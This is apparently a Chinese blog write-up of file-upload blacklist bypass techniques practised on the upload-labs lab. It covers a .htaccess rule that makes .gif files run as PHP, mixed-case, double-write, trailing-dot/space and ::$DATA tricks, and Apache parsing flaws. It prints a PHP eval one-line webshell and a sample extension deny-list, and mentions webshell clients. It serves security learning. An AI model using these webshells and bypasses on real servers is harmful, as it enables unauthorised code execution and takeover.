文件上传漏洞利用-后端黑名单绕过
文件上传漏洞利用-后端黑名单绕过
目录
原理:上传.htaccess文件到指定的目录,重写当前目录下的解析规则,上传图片马,打开图片马所在位置将以新指定的方式解析运行
第二步:把shell.php文件改为shell.png,然后将其上传
第三步:用burpsuite进行抓包修改,把后缀改为php,并在后缀后面加上空格或者点
第四步:获取webshell权限,即浏览器打开上传的图片马地址
第三步:抓包修改,后缀改为php,并在后缀后面加上::$DATA
第四步:获取webshell权限,即浏览器打开上传的图片马地址
upload-labs靶场下载地址:https://github.com/c0ny1/upload-labs/
第一次下时候,没下最新版的,结果我又重新到GitHub去下载了更新后的最新版
(注:此博文从绕过原理方法入手,下篇博客将从upload-labs刷关入手)
后端黑名单绕过
特殊可解析后缀
原理:就是加上数字等,但是可以被当做原来的类型进行执行
黑名单规则不严谨,在某些特定环境中某些特殊后缀仍会被当作php文件解析
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
利用过程:
盲猜准备的php20就不在范围内
再获取webshell权限,即浏览器打开上传的图片马地址
接下来的工作交给蚁剑和菜刀了
.htaccess解析
原理:上传.htaccess文件到指定的目录,重写当前目录下的解析规则,上传图片马,打开图片马所在位置将以新指定的方式解析运行
参考:
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,即可以用来控制所在目录的访问权限以及解析设置,通过设置可以将该目录下的所有文件作为php文件来解析。
通过.htaccess文件,可以帮我们实现:自定义404错误页面、网页301重定向、允许/阻止特定的用户或者目录的访问、改变文件扩展名、禁止目录列表、配置默认文档等功能。
.htaccess可以写入apache配置信息,改变当前目录以及子目录的apache配置信息
环境条件:
phpstudy+php5.6以下不带nts的版本
upload-labs-Pass04
服务器和服务商没有禁止.htaccess文件
Allow Override All
LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态
利用过程:
第一步:准备好.htaccess文件内容:
第一种:会误伤正常文件,容易被发现
<IfModule mime_module>
AddHandler php5-script .gif #当前目录下,只针对gif文件解析成php执行
SetHandler application/x-httpd-php #当前目录下,所有文件都被解析成php执行
</IfModule>
或者直接
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
第二种:能精确解析,不容易被发现
<FilesMatch "1.gif"> #1.gif是自己将要上传执行的文件名
SetHandler application/x-httpd-php #在当前目录下,如果匹配到1.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到1.gif文件,则被解析成PHP代码执行
</FilesMatch>
第二步:准备好图片马
在1.gif中写入了(测试一下能否执行)
<?php phpinfo();?>
#一般都写入
<?php @eval($_POST['密码'])?>
准备好
第三步:先上传 .htaccess文件,再上传图片马
上传写了代码的要执行文件(图片马)
第四步:获得webshell权限,即复制图片地址并粘贴到地址栏,进行访问:
尝试用到 .htaccess文件试试
将.htaccess文件尝试改为:
<FilesMatch "^a.jpg$">
setHandler application/x-httpd-php
</FilesMatch>
未被执行为PHP类型
试了很多不同的.htaccess文件代码,最终还是没能以PHP代码执行,可能环境条件不满足
大小写绕过
原理:对大小写不敏感,上传大小写混写的php进行绕过
利用过程:
后端一般验证后缀字符串是否和‘php’相等(前提是没有将你传入的字符串进行小写转换后再对比),大写字母和小写字母肯定不相等,利用这一特性绕过
windows对大小写不敏感,所以.PhP文件被当成php文件解析)
准备文件:
当检测不全面的时候,还是有各种混乱进行绕过
重写(双写)绕过
原理:被删除一个黑名单字符后,形成新的预期类型
利用过程:
服务端将黑名单的后缀名替换为空,但是仅替换一次,所以可以上传.pphphp后缀,替换后就成了.php
(被拦截的shell.php,上传不了的这个我就不一直试了)
它会删掉第一个php
(中间第二个是错误的讲解)
正确的应该是第三个
‘.’或者空格点绕过
原理:还是相当于是绕过了黑名单
(不考虑直接把空格或者点加在后缀的末尾,因为在PHP文件后加..,会被windows删掉空格或者点)
第一步:打开burpsuite进行代理拦截
第二步:把shell.php文件改为shell.png,然后将其上传
第三步:用burpsuite进行抓包修改,把后缀改为php,并在后缀后面加上空格或者点
第四步:获取webshell权限,即浏览器打开上传的图片马地址
第五步:使用工具(蚁剑/菜刀)进行连接等操作
利用过程:
shell.png------>shell.php.(空格). ------>shell.php.(空格和点被去除了)---->shell.php(windows会自动去掉末尾的空格和点,这个可以在自己的桌面上新建的试)
我实验的环境:在主机上安装的靶场,burpsuite安装在虚拟机上
我遇见的问题是:burpsuite抓包,无法抓住文件的上传,并将其修改
现象是:拦截不到包,但是访问其他联网的网站,可以拦截到
我分析得出的结论是:upload-labs的上传是在本地完成,不需要再访问另一台电脑上的burpsuite代理服务器
::$$DATA绕过
原理:
NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。
换言之:
在windows下,在php文件名后面加上::$DATA
系统会把它当作文件流来进行处理,不会检测文件的后缀名,且保留::$DATA之前的文件名以及后缀
(不考虑直接在windows上新建,因为::已经被windows所禁止输入)
加::$DATA的操作过程和前面的加‘.’和空格是一样
第一步:burpsuite拦截
第二步:文件上传
第三步:抓包修改,后缀改为php,并在后缀后面加上::$DATA
第四步:获取webshell权限,即浏览器打开上传的图片马地址
第五步:使用工具(蚁剑/菜刀)进行连接等操作
利用过程:
shell.png------>shell.php.(空格). ------>shell.php.(空格和点被去除了)---->shell.php(windows会自动去掉末尾的空格和点,这个可以在自己的桌面上新建的试)
配置解析漏洞
原理:
解析漏洞是web容器将其他格式的文件解析为可执行脚本语言,这一特点会被利用进行其他操作
触发点:
常见的解析漏洞的web容器有IIS (5.x-6.x 7.5)、Nginx、Apache
利用:
目录解析,文件解析,其他默认可执行文件格式等。
以Apache解析漏洞为例
Apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.a.b的“.a”和“.b”这两种后缀是apache不可识别解析,apache就会把test.php.a.b解析成test.php。
影响版本:
Apache 1.x
Apache 2.2.x
查看Apache版本:
方法一:
如果安装的phpstudy集成环境,那这个就简单了
打开phpstudy面板首页就能看到
方法二:
打开Apache\bin目录,复制绝对路径
用命令提示符进入到Apache\bin中,再执行下面语句查看Apache版本信息:
httpd -v
或者直接在Apache\bin执行命令提示符
(按住shift键,同时点击右键,点击Open in Windows Terminal)
然后会直接在当前目录执行
再输入以下代码查看版本
.\httpd.exe -v
我的版本已经Apache2.4,已经不存在上面的解析漏洞了
但是操作不能少
第一步:新建一个Apache无法正确解析识别的文件
(存在解析漏洞的版本会将这个软件识别为a.php文件执行)
第二步:在这个文件里面写入执行语句
第三步:获取wheshell权限,即访问这个文件所在的位置
(老生常谈又是你)
- 点赞
- 收藏
- 关注作者
评论(0)